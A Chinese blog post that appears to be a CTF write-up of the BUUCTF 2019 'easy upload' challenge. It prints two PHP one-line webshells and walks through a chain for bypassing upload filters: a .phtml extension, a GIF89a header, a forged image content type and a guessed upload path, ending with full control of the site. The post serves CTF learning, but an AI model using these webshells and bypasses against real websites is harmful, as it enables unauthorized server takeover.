文件上传漏洞(buuctf极客大挑战easy upload)

        一名网安工程师,最开始学的那几个漏洞之一学就是注入类漏洞,而注入的参数可以是get /post等参数,也可以是文件;而对于一名黑客而言,任何的可以上传文件的地方都是个可注入点。

        在这里,我们利用buuctf的2019的upload1来试试。

        首先,打开文件后,我们就可以看到一个上传图片的一个表单。我们先构建一个最普通的PHP的一句话木马

<?php @eval($_POST[1])?>

试着将其php文件发送到服务器里面,会得到Not image!说明上传文件的格式不对,那我们将文件改为jpg格式,那么又会得到NO! HACKER! your file included '<?'那么这个又说明我们的<?这个语句被过滤了,只要出现了这个语句,就会被过滤,那么我们要试着绕过这个,当然,在绕过的途中可能会遇到其他的情况,例如遇到php被过滤之类的问题,不过这是有的题目才会出现的问题了,具体的题目要具体分析,有的题目过滤的关键词是不一样的,需要利用不同的语句进行绕过。

        接着,我们可以试着使用其他的没有<?的一句话木马,我们将其改为

<script language="php">eval($_POST[1]);</script>

那么,我们可以试着将这个文件变为phtml格式过后试着上传一下,得到的是
Don't lie to me, it's not image at all!!!

这个回显,那么我们就可以初步确认成功绕过了,之后我们将这个进行一些修改,在文件开头加一个文件头GIF89a,让程序认为它是一个GIF文件,之后我们利用burp来抓包,之后将文件类型改为image/jpg,然后我们就成功上传了文件,之后我们可以试着在浏览器中进行访问我们的文件,这个时候,我们就需要进行一些猜解,猜测我们上传的文件的位置,如果有条件的话可以通过一些网站上的一些蛛丝马迹来得出文件上传在哪一个文件夹中,这道题上传的文件在/upload/这个文件夹中,之后我们就可以连接我们上传的文件,来控制这个网站,之后就可以在根目录上看到flag了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值